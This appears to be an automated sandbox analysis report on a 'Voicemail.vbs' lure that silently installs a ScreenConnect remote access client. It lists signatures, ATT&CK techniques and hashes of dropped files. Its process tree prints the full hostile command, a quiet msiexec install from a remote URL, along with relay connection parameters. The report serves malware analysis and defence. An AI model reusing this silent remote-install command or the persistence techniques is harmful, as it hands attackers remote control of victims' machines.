Overview

overview

8

Static

static

1

Voicemail.vbs

windows10-2004-x64

8

Voicemail.vbs

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    148s
  • max time network
    142s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/10/2026, 12:17

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Voicemail.vbs
  • Size 500B
  • Sample261030-pf4teaywcs
  • SHA256 190c915d2b4733d2c3e5287c6908957b0e0a14e13411df884b9e7856abaa2f22
  • MD5 SHA1 SHA512 TLSH
Score
8/10
backdoordiscoveryexecutionpersistenceprivilege_escalationrat

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

    backdoorrat
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Use of msiexec (install) with remote resource 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 9 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 24 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Voicemail.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:3656
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "https://goethe-schule.screenconnect.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest&c=GOETHE-SCHULE%20DE&c=&c=EDUCATION&c=&c=&c=&c=&c=" /quiet /norestart
      2⤵
      • Use of msiexec (install) with remote resource
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:1416
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Badlisted process makes network request
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:252
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 62B3183ED136206F0DDB720562BBA210
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5376
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI3858.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240793906 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:1760
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding F7469D4653E4DB378570A05DB8190511 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:2580
  • C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-w50qpv-relay.screenconnect.com&p=443&s=4b50c1b0-db3c-4b62-9ad1-dbe04b1ceb26&k=BgIAAACkAABSU0ExAAgAAAEAAQC195R162YZZX5PnBn13nPI3oYa0BNa4XBj8JarvzrT%2bMud2JNLHHEz1WOT6YcO6rVB2qECpvQ4wWWfKAcsh3S8Ge4%2b6RO6d%2bLH1HSC42zcfq1XLxXnEHMANEO3SIkiZFEgC6u%2fvtiLkM%2b6Fr9ymMA2OguOVA4q3KLFXLBprZ9oOJ8T6xti51JEsBEDiwIO9MCQbuR0c7wW2PwNpdnv9P7lnLQtnbW%2bP4PS3%2fHwd6%2faOaPwctEguGeV4pKzaHM4In3kM7cNtCf2lBt68Noj5w1TXuqDP2wkz9Zy2RVy5GGPeIXjgmm5zp%2fkuwqAkTn%2bD1Ay64QV5DU99EaAvogTYam0&c=GOETHE-SCHULE%20DE&c=&c=EDUCATION&c=&c=&c=&c=&c="
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4196
    • C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\ScreenConnect.WindowsClient.exe" "RunRole" "185755d8-19fa-4bfd-b91a-dae7c9d1d303" "User"
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:2464
    • C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\ScreenConnect.WindowsClient.exe" "RunRole" "ffaee309-12f7-42c6-8db0-1ab00c00bec4" "System"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:4132

Network

        MITRE ATT&CK Enterprise v16

        Reconnaissance

        Resource Development

        Initial Access

        Execution

        Command and Scripting Interpreter

        1
        T1059

        Visual Basic

        1
        T1059.005

        Persistence

        Boot or Logon Autostart Execution

        2
        T1547

        Authentication Package

        1
        T1547.002

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Create or Modify System Process

        1
        T1543

        Windows Service

        1
        T1543.003

        Event Triggered Execution

        1
        T1546

        Component Object Model Hijacking

        1
        T1546.015

        Privilege Escalation

        Boot or Logon Autostart Execution

        2
        T1547

        Authentication Package

        1
        T1547.002

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Create or Modify System Process

        1
        T1543

        Windows Service

        1
        T1543.003

        Event Triggered Execution

        1
        T1546

        Component Object Model Hijacking

        1
        T1546.015

        Defense Evasion

        Modify Registry

        1
        T1112

        Credential Access

        Discovery

        Peripheral Device Discovery

        1
        T1120

        Query Registry

        2
        T1012

        System Information Discovery

        3
        T1082

        System Location Discovery

        1
        T1614

        System Language Discovery

        1
        T1614.001

        System Network Configuration Discovery

        1
        T1016

        Lateral Movement

        Collection

        Command and Control

        Exfiltration

        Impact

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e5a3e54.rbs
        • Path C:\Config.Msi\e5a3e54.rbs
        • Size 214KB
        • SHA256 cf9de72eca628b3887ade50cc1d93fee787e72db7c05e09f1be4d5fca881e68a
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Client.en-US.resources
        • Path C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\Client.en-US.resources
        • Size 65KB
        • SHA256 bd8901dd3666277f6d7aa1f4118ad53f5d4229c5d9f67f94e635bf2add3731dd
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Client.fr-FR.resources
        • Path C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\Client.fr-FR.resources
        • Size 55KB
        • SHA256 db771509ade80cbea5b78cf3b6d99ac87dc70e2c116405ae8c4ed08ae1748e50
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Client.resources
        • Path C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\Client.resources
        • Size 6KB
        • SHA256 bd34378ad99f7609fa0c7c8edde6337c738a61d288863015629329806a1cc728
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Client.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\ScreenConnect.Client.dll
        • Size 413KB
        • SHA256 be1e3522a20c244b3e20b4f7bc2fc736b6103c930d6cf8366e0bb97cb82d5241
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.ClientService.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\ScreenConnect.ClientService.dll
        • Size 92KB
        • SHA256 67f75a75bc19288cac0071e19e7af4463f2ecf4bb75fe13af80a4f0f57144253
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.ClientService.exe
        • Path C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 bc19602c59b0ba4a7a99f791c87298df76d8d62f86a928e112dca285a88a5a77
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Core.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\ScreenConnect.Core.dll
        • Size 583KB
        • SHA256 91ae86fd5439c7d8a54b75cbb60c2ff9bdff84657b962d340d48cdf656c4928d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Windows.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\ScreenConnect.Windows.dll
        • Size 1.7MB
        • SHA256 9ddaf17f7f802e58c645d42184e0ac33dc755a885bc3637a7d837a4f6ae5fdea
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.WindowsAuthenticationPackage.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.WindowsClient.exe
        • Path C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\ScreenConnect.WindowsClient.exe
        • Size 689KB
        • SHA256 24671116eab5a97c5d15c4d7b434adff9ad2119db9b487490f4b251f28167069
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.WindowsClient.exe.config
        • Path C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        ScreenConnect.WindowsCredentialProvider.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 89fd40ccc2e2be1bf140e748212922aa4010a7ef4b0465aca958c9d3417e0bdd
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        system.config
        • Path C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\system.config
        • Size 964B
        • SHA256 dfe63dd36b15f1e52bf8161dbbcb05a9a05c8cebd76258445f336bd4f26bb21e
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        MSI2D6A.tmp
        • Path C:\Windows\Installer\MSI2D6A.tmp
        • Size 12.0MB
        • SHA256 90fdfdb8ae0e690b1e96643f7596a8bcfe4d23d8b604e970b15eff84b8697c36
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        MSI3858.tmp
        • Path C:\Windows\Installer\MSI3858.tmp
        • Size 1.1MB
        • SHA256 d39e53d74c6840d331b91b9c949db26f7c93a824e9fb104c532346a8c465b6e2
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Microsoft.Deployment.WindowsInstaller.dll
        • Path C:\Windows\Installer\MSI3858.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Core.dll
        • Path C:\Windows\Installer\MSI3858.tmp-\ScreenConnect.Core.dll
        • Size 573KB
        • SHA256 399ab0c1bcf2bf0c7618066d676b6958c2a5f4fed2d8f769f0eeea5492720e4f
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.InstallerActions.dll
        • Path C:\Windows\Installer\MSI3858.tmp-\ScreenConnect.InstallerActions.dll
        • Size 24KB
        • SHA256 f35f007dcb154d0346745309630b8cc21fe49638e76dc8dd77a3c62cb0aa754a
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Windows.dll
        • Path C:\Windows\Installer\MSI3858.tmp-\ScreenConnect.Windows.dll
        • Size 1.7MB
        • SHA256 4c281797c351fed77890634006a51bc3a6c60efa4c831fe21934353f304cdf61
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        MSI3F11.tmp
        • Path C:\Windows\Installer\MSI3F11.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        brkynz0l.newcfg
        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (efcb57d45a0c41a2)\brkynz0l.newcfg
        • Size 881B
        • SHA256 0da44ea0b8438cbfa830226f6e822bf35bd85cc94ee0173a645710eb7e9a7a85
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        ddskcjqt.newcfg
        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (efcb57d45a0c41a2)\ddskcjqt.newcfg
        • Size 683B
        • SHA256 74970000d328e8a7efc16951d6d54291f1369bffb42ba1343988a620e6ddf1cd
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        user.config
        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (efcb57d45a0c41a2)\user.config
        • Size 520B
        • SHA256 e46118d653ee518a782052c3504f4a09484cb588963077bc23bdc508a37ee0ed
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/1760-40-0x0000000005CB0000-0x000000000626A000-memory.dmp
        Download

        memory/1760-27-0x0000000003140000-0x000000000316E000-memory.dmp
        Download

        memory/1760-31-0x0000000003180000-0x000000000318C000-memory.dmp
        Download

        memory/1760-35-0x00000000052F0000-0x0000000005386000-memory.dmp
        Download

        memory/1760-39-0x0000000005540000-0x00000000056F0000-memory.dmp
        Download

        memory/2464-147-0x0000000002B10000-0x0000000002B7C000-memory.dmp
        Download

        memory/2464-144-0x0000000000680000-0x0000000000730000-memory.dmp
        Download

        memory/2464-152-0x00000000010D0000-0x0000000001111000-memory.dmp
        Download

        memory/2464-151-0x000000001BD60000-0x000000001BEE8000-memory.dmp
        Download

        memory/2464-150-0x00000000010B0000-0x00000000010CA000-memory.dmp
        Download

        memory/2464-149-0x000000001BA20000-0x000000001BBD0000-memory.dmp
        Download

        memory/2464-148-0x000000001B7D0000-0x000000001B866000-memory.dmp
        Download

        memory/4132-154-0x0000000003090000-0x00000000030D1000-memory.dmp
        Download

        memory/4196-120-0x0000000003E00000-0x0000000003E6C000-memory.dmp
        Download

        memory/4196-78-0x0000000001560000-0x000000000157A000-memory.dmp
        Download

        memory/4196-101-0x0000000003D40000-0x0000000003D90000-memory.dmp
        Download

        memory/4196-84-0x0000000003C50000-0x0000000003CE6000-memory.dmp
        Download

        memory/4196-121-0x00000000040F0000-0x0000000004182000-memory.dmp
        Download

        memory/4196-88-0x0000000003EA0000-0x0000000004050000-memory.dmp
        Download

        memory/4196-123-0x0000000003D90000-0x0000000003DD1000-memory.dmp
        Download

        memory/4196-125-0x00000000042E0000-0x00000000043B6000-memory.dmp
        Download